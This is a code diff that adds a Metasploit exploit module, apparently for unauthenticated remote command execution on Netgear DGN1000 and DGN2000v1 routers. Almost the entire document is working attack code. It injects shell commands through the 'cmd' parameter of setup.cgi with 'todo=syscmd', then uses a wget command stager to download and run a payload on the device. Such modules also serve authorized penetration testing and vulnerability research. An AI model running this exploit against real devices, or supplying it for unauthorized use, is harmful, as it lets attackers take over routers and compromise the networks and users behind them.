New module

modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb

@@ -0,0 +1,90 @@
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::CmdStager
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name' => 'Netgear DGN1000 Setup.cgi Unauthenticated RCE',
+      'Description' => %q{
+        This module exploits an unauthenticated OS command execution vulneralbility
+        in the setup.cgi file in Netgear DGN1000 firmware versions up to 1.1.00.48, and
+        DGN2000v1 models.
+        },
+      'Author' => [
+        'Mumbai <https://github.com/realoriginal>', # module
+        'Robort Palerie' # vuln discovery
+      ],
+      'References' =>
+        [
+          ['URL', 'https://www.exploit-db.com/exploits/25978/'],
+      ],
+      'License' => MSF_LICENSE,
+      'Platform' => 'linux',
+      'Arch' => ARCH_MIPSBE,
+      'Privileged' => true,
+      'Payload' => {
+        'DisableNops' => true,
+      },
+      'Targets'        =>
+        [
+          [ 'Automatic', {} ]
+        ],
+      ))
+
+    end
+
+    def check
+      begin
+        res = send_request_cgi({
+          'uri' => '/setup.cgi',
+          'method' => 'GET'
+          })
+
+          if [200, 301, 302, 401].include?(res.code)
+            return Exploit::CheckCode::Detected
+          end
+        rescue ::Rex::ConnectionError
+          return Exploit::CheckCode::Unknown
+        end
+
+
+        Exploit::CheckCode::Unknown
+      end
+
+      def exploit
+        print_status("#{peer} - Connecting to target...")
+
+        unless check == Exploit::CheckCode::Detected
+          fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable URL")
+        end
+
+        print_status("#{peer} - Exploiting target ....")
+        execute_cmdstager(
+          :flavor => :wget,
+          :linemax => 200,
+          :concat_operator => " && "
+        )
+      end
+
+      def execute_command(cmd, opts)
+        begin
+          res = send_request_cgi({
+            'uri' => "/setup.cgi",
+            'method' => 'GET',
+            'vars_get' => {
+              'next_file' => "netgear.cfg",
+              'todo' => "syscmd",
+              'cmd' => "#{cmd}",
+              'curpath' => "/",
+              'currentsetting.htm' => "1"
+            }
+          })
+          return res
+        rescue ::Rex::ConnectionError
+          fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
+        end
+      end
+    end
+